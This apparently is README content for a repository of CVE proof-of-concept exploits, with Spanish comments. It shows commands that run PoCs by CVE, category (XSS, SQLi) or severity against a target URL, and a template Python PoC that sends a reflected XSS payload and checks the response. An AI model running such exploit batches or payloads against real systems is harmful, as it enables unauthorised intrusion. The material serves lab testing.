git clone https://github.com/javokhir-sec/CVE-PoC-Hub.git
cd CVE-PoC-Hub

# Listar todos los PoCs disponibles
python poc-runner.py --list

# Ejecutar un PoC específico (en entorno de laboratorio)
python poc-runner.py --cve CVE-2026-XXXXX --target http://lab-target.local

#!/usr/bin/env python3
"""
CVE-YYYY-XXXXX: [Vulnerability Type] in [Product]
CVSS: X.X | Severity: Critical/High/Medium/Low
Author: @javokhir-sec
"""

import requests
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"

def exploit(target):
    """Execute the exploit and return True if vulnerable."""
    print(f"[*] Testing {target} for CVE-YYYY-XXXXX")

    # Step 1: Send malicious request
    payload = "<script>alert(1)</script>"
    r = requests.get(f"{target}/search?q={payload}")

    # Step 2: Verify exploitation
    if payload in r.text:
        print(f"[+] VULNERABLE! Payload reflected in response.")
        return True
    else:
        print(f"[-] Not vulnerable.")
        return False

if __name__ == "__main__":
    exploit(TARGET)

# Ejecutar todos los PoCs XSS contra un objetivo
python poc-runner.py --category xss --target http://lab.local

# Ejecutar todos los PoCs SQLi
python poc-runner.py --category sqli --target http://lab.local

# Ejecutar un nivel de severidad específico
python poc-runner.py --severity critical --target http://lab.local